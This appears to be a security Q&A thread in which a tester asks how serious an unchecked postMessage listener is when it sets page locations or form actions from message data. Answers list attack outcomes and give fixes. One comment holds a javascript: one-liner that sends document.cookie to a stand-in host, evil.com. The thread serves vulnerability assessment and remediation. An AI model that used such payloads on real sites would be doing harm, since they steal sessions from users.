6

How exploitable is a site listening to browser messages from anyone?

I am working on a site where I have found some iframe issues. The case is that site A has an iframe of site B, and site A listens to 'messages' from anywhere and then it can perform two different actions when a message comes in:

  • Set document.location = "incoming message data"
  • Create a form, and set the action attribute value to "incoming message data", add it to the DOM and then submit the form.

This means i can set up site Evil, include an iframe of site A, and then start sending arbitrary messages, for example "javascript:alert(1)" which will in both of the above cases execute the javascript in the iframe context. Before I report this to the people I work for, I need to have a scenario in which this would be a major issue. And this is where it gets tricky, because I cannot really come up with a scenario where this would be a significant issue. The ideas I have are:

  • I can execute javascript in the context of site A, but I cannot get cookies due to SoP.
  • I could set up a key listener on site Evil and make site A iframe fill the screen asking for a login, in that way harvesting logins for site A. This would require some social engineering to work properly.

But this is the best I can come up with, so my question is, have I completely overlooked something? Googling around doesn't yield any other options.

EDIT:

Obviously this opens site A (whom I work for) up for XSS through site B (who is a semi known company, but still). Another point I am thinking about making is why on earth would anyone do ANYTHING this way? Create a form and submit and answer with some received data? I can't figure out a good reason to do it like this, maybe any of you good people can?

EDIT2:

It seems there is no way to bypass Same Origin Policy even though I can execute arbitrary javascript in the context of Site A through the iframe located on Site Evil. So there is nothing about this 'vulnerability' that makes it any different from an attacker to get a user to click on an arbitrary link.

sboutzen
  • 61
  • 1
  • 3

2 Answers2

2

You could definitely hijack the session by getting cookies, if you can execute the Javascript in that page/frame by sending the message.

Refer : How to send cross domain post request via javascript

The minimal requirement here is, you'll need a server which you control. So that you can configure the Access-Control-Allow-Origin header of the response generated for your AJAX Request.

Community
  • 1
Deepak Chaudhary
  • 251
  • 2
  • 4
  • I don't see how that would be possible. You are suggesting to abuse the CORS api, however, in order for that to work I would need to control the server that serves the embedded iframe that I'm trying to perform a session hijacking on, in order to set the `Access-Control-Allow-Origin` header. But the whole point of this is that I don't control that server, I only have the ability to embed the site in an iframe, and perform arbitrary XSS. Am I missing something? – sboutzen Jul 15 '16 at 19:09
  • For CORS, you need to control the server that is going to receive the data you're going to send via AJAX. Hence, If you can execute JavaScript in embedded iframe, then just grab the cookies and send it to your server. – Deepak Chaudhary Jul 16 '16 at 03:59
  • 1
    `javascript:document.location="http://evil.com/?"+document.cookie` – Erlend Jul 17 '16 at 14:59
  • `javascript:document.innerHTML+=""` – Erlend Jul 17 '16 at 15:00
  • @Erlend That was my thought too, and I can do that, but the cookie of domain A is not available. I can only get the cookie of domain Evil where I have domain A as an iframe. I have also tried to use the CORS abusing as Deepak suggested, but as I thought, it doesn't work, because the scripts you are ACAO'ing are your own. – sboutzen Jul 20 '16 at 20:45
  • @sboutzen, you said sou could execute JavaScript in the frame A, then what's the problem extracting cookies? Or am I confusing Evil site & iframe A? – Deepak Chaudhary Jul 21 '16 at 06:51
  • Yes I can, but it seems that no matter what I do on site A (through the iframe on site Evil) it is affected by SoP. I have tried adding scripts to `head`, `body`, I tried just executing it through `javascript:` requests to a server I set up. I have tried adding a script with `src=EvilServer`, and the script gets executed, but it is still affected by SoP (And the server serves the scripts with `Access-Control-Allow-Origin: *` and `Access-Control-Allow-Credentials: true`). Everytime I can get the code executed, but no matter what I do, I cannot get the cookie of site A. – sboutzen Jul 21 '16 at 08:54
  • I have also tried `postMessage` back from site A to site Evil, but still it doesn't send the right cookie. The browser I am using is Chrome btw. – sboutzen Jul 21 '16 at 08:56
  • On a side note, I tried the beef XSS way, and the script gets included in the `head`, I can see it when I look through elements on site A and I can see the request it did to get hook.js, and it is the correct script, but it doesn't show up in as hooked in the beef-xss ui panel. – sboutzen Jul 21 '16 at 09:00
  • @sboutzen, I assumed you can execute JS in the iframe via message passing vulnerability. If the vulnerability is not there you can't bypass SOP. – Deepak Chaudhary Jul 21 '16 at 09:18
2

I won't give the "how-to" (exploit), but:

  • You may retrieve cookies (as said in comments, but only non-HTTP-only ones).
  • You may bypass all CSRF protections (like if they're based on Referer/Origin HTTP headers).
  • You may show a popup asking user to relog-in (and so steal their password).
  • You may download any arbitrary file (including .exe), and user will certainly trust it since it comes from trusted website.
  • You may kill the company's reputation by including a shocking image or whatever.
  • You may embed a malware/virus in the URI (do a simple exploit with a base64ed EICAR string inside a data uri)

Do as suggested to fix this: accept only trusted incoming domains, and validate the data before putting them in the form and such (you do not require the full URI in the message's data, unless you really want to submit form to any domain and any protocol).

Xenos
  • 1,331
  • 8
  • 16